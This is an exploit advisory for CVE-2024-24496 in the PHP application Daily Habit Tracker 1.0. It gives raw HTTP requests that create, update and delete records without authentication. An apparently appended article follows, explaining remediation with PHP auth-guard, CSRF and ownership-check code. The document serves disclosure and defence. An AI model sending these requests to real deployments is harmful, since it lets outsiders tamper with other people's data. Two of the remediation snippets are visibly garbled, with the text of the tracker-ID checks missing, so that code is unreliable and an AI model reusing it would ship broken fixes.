Daily Habit Tracker 1.0 - Broken Access Control
# Exploit Title: Daily Habit Tracker 1.0 - Broken Access Control
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24496
### Broken Access Control:
> Broken Access Control is a security vulnerability arising when a web application inadequately restricts user access to specific resources and functions. It involves ensuring users are authorized only for the resources and functionalities intended for them.
### Affected Components:
> home.php, add-tracker.php, delete-tracker.php, update-tracker.php
### Description:
> Broken access control enables unauthenticated attackers to access the home page and to create, update, or delete trackers without providing credentials.
## Proof of Concept:
### Unauthenticated Access to Home page
> To bypass authentication, navigate to 'http://yourwebsitehere.com/home.php'. The application does not verify whether the user is authenticated or authorized to access this page.
### Create Tracker as Unauthenticated User
To create a tracker, use the following request:
```
POST /habit-tracker/endpoint/add-tracker.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/habit-tracker/home.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
date=1443-01-02&day=Monday&exercise=Yes&pray=Yes&read_book=Yes&vitamins=Yes&laundry=Yes&alcohol=Yes&meat=Yes
```
### Update Tracker as Unauthenticated User
To update a tracker, use the following request:
```
POST /habit-tracker/endpoint/update-tracker.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/habit-tracker/home.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
tbl_tracker_id=5&date=1443-01-02&day=Monday&exercise=No&pray=Yes&read_book=No&vitamins=Yes&laundry=No&alcohol=No&meat=Yes
```
### Delete Tracker as Unauthenticated User:
To delete a tracker, use the following request:
```
GET /habit-tracker/endpoint/delete-tracker.php?tracker=5 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Referer: http://localhost/habit-tracker/home.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```
## Recommendations
When using this tracking system, it is essential to update the application code to ensure that proper access controls are in place. Daily Habit Tracker 1.0 — Broken Access Control (CVE-2024-24496)
This article analyzes a Broken Access Control vulnerability discovered in Daily Habit Tracker 1.0 (CVE-2024-24496). It explains the root cause, demonstrates how unauthorized operations were possible, and provides practical, secure remediation patterns, secure code snippets, and deployment recommendations for PHP/MySQL applications.
Key takeaways
- Broken Access Control allowed unauthenticated clients to access home.php and perform create, update, and delete actions on trackers without credentials.
- Primary causes: missing authentication checks, weak method gating (e.g., DELETE via GET), and lack of ownership/authorization checks.
- Remediations include enforcing authentication checks, validating request methods, verifying resource ownership, adding CSRF protection, using prepared statements, and implementing centralized access control.
Affected components
| File | Issue |
|---|---|
| home.php | Accessible without authentication; displays user functionality to unauthenticated visitors |
| add-tracker.php | No auth/CSRF checks; allows unauthenticated creation |
| update-tracker.php | No auth/ownership checks; allows unauthenticated updates |
| delete-tracker.php | Deletes performed via GET without auth/ownership checks |
Understanding the vulnerability
Broken Access Control occurs when the application fails to correctly enforce who can access a resource or execute an action. In this case the application omitted checks that should ensure only an authenticated (and authorized) user may view the home dashboard or manipulate trackers. Attackers could therefore create, modify, or delete tracker entries without logging in.
Why this is dangerous
- Privilege bypass: attackers can manipulate data meant to be private.
- Data integrity risk: trackers can be modified or deleted, corrupting user data.
- Operational risk: ability to write data without credentials can be chained with other vulnerabilities to escalate impact.
Proof-of-concept summary
Requests to the endpoint files (add-tracker.php, update-tracker.php, delete-tracker.php) were accepted without verifying an authenticated session or ownership. delete-tracker.php accepted a GET parameter to remove a record, enabling trivial deletion by an unauthenticated requester.
Secure design and remediation principles
- Centralize authentication checks (e.g., include an auth guard at the top of restricted pages).
- Enforce authorization: verify the currently authenticated user owns the resource they are modifying.
- Use proper HTTP methods: use POST/DELETE for state-changing operations; do not use GET.
- Protect against CSRF on state-changing requests using synchronizer tokens or SameSite cookies.
- Use prepared statements for database interactions and validate input thoroughly.
- Log authorization failures and suspicious activity for monitoring and incident response.
Concrete fixes — patterns and code
1) Centralized auth guard (auth.php)
<?php
// auth.php - include on any page that requires authentication
session_start();
// Simple check: ensure 'user_id' exists in session
if (empty($_SESSION['user_id'])) {
// Not authenticated — reject with 401 or redirect to login
http_response_code(401);
exit('Unauthorized');
}
// Optionally regenerate session ID after login and enforce secure cookie flags in production
?>
This file enforces an authenticated session. Include it at the top of home.php and all endpoint scripts to guarantee only authenticated users proceed. It returns 401 for API-style endpoints or you can replace the exit() with header('Location: login.php') for UI pages.
2) Require POST and validate CSRF token for add-tracker.php
<?php
require_once __DIR__ . '/../auth.php'; // ensures $_SESSION['user_id'] exists
require_once __DIR__ . '/../db.php'; // $pdo: PDO instance configured with ATTR_ERRMODE
// Enforce HTTP method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
exit('Method Not Allowed');
}
// CSRF token validation
$csrf = $_POST['csrf_token'] ?? '';
if (empty($csrf) || !hash_equals($_SESSION['csrf_token'] ?? '', $csrf)) {
http_response_code(403);
exit('Invalid CSRF token');
}
// Collect and validate inputs (example: date and required boolean flags)
$date = $_POST['date'] ?? null;
$day = $_POST['day'] ?? null;
// Validate expected fields, sanitize/validate formats here
// Prepared statement to prevent SQL injection
$stmt = $pdo->prepare('INSERT INTO trackers (user_id, date, day, exercise, pray, read_book, vitamins, laundry, alcohol, meat) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)');
$stmt->execute([
$_SESSION['user_id'],
$date,
$day,
$_POST['exercise'] ?? 'No',
$_POST['pray'] ?? 'No',
$_POST['read_book'] ?? 'No',
$_POST['vitamins'] ?? 'No',
$_POST['laundry'] ?? 'No',
$_POST['alcohol'] ?? 'No',
$_POST['meat'] ?? 'No',
]);
http_response_code(201);
echo 'Created';
?>
Explanation: This snippet ensures the request is POST, validates a CSRF token stored in session, validates/sanitizes inputs, and executes a prepared INSERT using the authenticated user's ID. Because user_id is bound server-side from the session, clients cannot create trackers for another user.
3) Update with ownership check (update-tracker.php)
<?php
require_once __DIR__ . '/../auth.php';
require_once __DIR__ . '/../db.php';
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
exit('Method Not Allowed');
}
$csrf = $_POST['csrf_token'] ?? '';
if (empty($csrf) || !hash_equals($_SESSION['csrf_token'] ?? '', $csrf)) {
http_response_code(403);
exit('Invalid CSRF token');
}
$tracker_id = intval($_POST['tbl_tracker_id'] ?? 0);
if ($tracker_id prepare('SELECT user_id FROM trackers WHERE id = ?');
$ownerStmt->execute([$tracker_id]);
$owner = $ownerStmt->fetchColumn();
if (!$owner || intval($owner) !== intval($_SESSION['user_id'])) {
http_response_code(403);
exit('Forbidden: not owner');
}
// Proceed to update (use prepared statement)
$updateStmt = $pdo->prepare('UPDATE trackers SET date = ?, day = ?, exercise = ?, pray = ?, read_book = ?, vitamins = ?, laundry = ?, alcohol = ?, meat = ? WHERE id = ?');
$updateStmt->execute([
$_POST['date'] ?? null,
$_POST['day'] ?? null,
$_POST['exercise'] ?? 'No',
$_POST['pray'] ?? 'No',
$_POST['read_book'] ?? 'No',
$_POST['vitamins'] ?? 'No',
$_POST['laundry'] ?? 'No',
$_POST['alcohol'] ?? 'No',
$_POST['meat'] ?? 'No',
$tracker_id
]);
echo 'Updated';
?>
Explanation: This update routine first authenticates and validates the CSRF token, then checks that the tracker belongs to the current user. If the user does not own the resource, the script rejects the request. Only after ownership is confirmed does it perform the UPDATE with a prepared statement.
4) Secure delete endpoint (delete-tracker.php) — use POST and ownership check
<?php
require_once __DIR__ . '/../auth.php';
require_once __DIR__ . '/../db.php';
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
exit('Method Not Allowed');
}
$csrf = $_POST['csrf_token'] ?? '';
if (empty($csrf) || !hash_equals($_SESSION['csrf_token'] ?? '', $csrf)) {
http_response_code(403);
exit('Invalid CSRF token');
}
$tracker_id = intval($_POST['tracker'] ?? 0);
if ($tracker_id prepare('SELECT user_id FROM trackers WHERE id = ?');
$ownerStmt->execute([$tracker_id]);
$owner = $ownerStmt->fetchColumn();
if (!$owner || intval($owner) !== intval($_SESSION['user_id'])) {
http_response_code(403);
exit('Forbidden: not owner');
}
// Perform delete
$delStmt = $pdo->prepare('DELETE FROM trackers WHERE id = ?');
$delStmt->execute([$tracker_id]);
echo 'Deleted';
?>
Explanation: This reworks deletion to accept only POST (not GET), enforces CSRF, and verifies that the authenticated user is the resource owner before deleting. This prevents CSRF and unauthenticated deletion attacks.
5) Generating and injecting CSRF tokens in forms
<?php
// When rendering forms for authenticated users:
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$token = $_SESSION['csrf_token'];
?>
<form method="post" action="/endpoint/add-tracker.php">
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($token) ?>" />
<!-- other inputs -->
</form>
Explanation: A securely-generated token is stored in the session and embedded in forms. The server validates the token on submission to protect against CSRF attacks. Use random_bytes for cryptographically secure tokens.
Additional hardening & best practices
- Least privilege: ensure database accounts used by the app only have necessary permissions.
- Session security: set session cookie flags (Secure, HttpOnly, SameSite=strict or lax depending on pages) and rotate session IDs after login.
- Input validation: validate dates and enumerated values (e.g., "Yes"/"No") on server-side before persisting.
- Rate limiting & logging: throttle suspicious activity and log failed authorization attempts to detect abuse.
- Use HTTPS everywhere to protect session tokens and credentials in transit.
- Consider framework-level authorization: many frameworks provide middleware or filters for authentication and role-based access control (RBAC).
Example: central middleware pseudo-flow
// Pseudocode (applies to frameworks or custom routing)
// 1) Authenticate request -> set current_user
// 2) Authorize action: check policy(current_user, resource, action)
// 3) Validate method (POST/PUT/DELETE) for mutating endpoints
// 4) Validate CSRF token for browser-submitted forms
// 5) Execute database transaction with prepared statements
Explanation: The middleware flow shows the recommended order of checks: authenticate first, authorize second, then validate the request method and CSRF token, and finally perform data operations in a safe, transactional manner.
Testing and verification
- Unit tests: add tests asserting endpoints return 401/403 for unauthenticated/unauthorized users.
- Integration tests: simulate authenticated flows and verify only owners can modify resources.
- Penetration testing: re-test the endpoints to ensure previously successful unauthenticated requests now fail.
- Security scanners: run automated checks to detect missing auth checks and CSRF vulnerabilities.
Conclusion
Broken Access Control in Daily Habit Tracker 1.0 allowed unauthenticated and unauthorized operations. The recommended remediation is straightforward: enforce centralized authentication, verify ownership, require proper HTTP verbs, add CSRF protections, and use prepared statements. Implementing these changes will protect user data and preserve application integrity.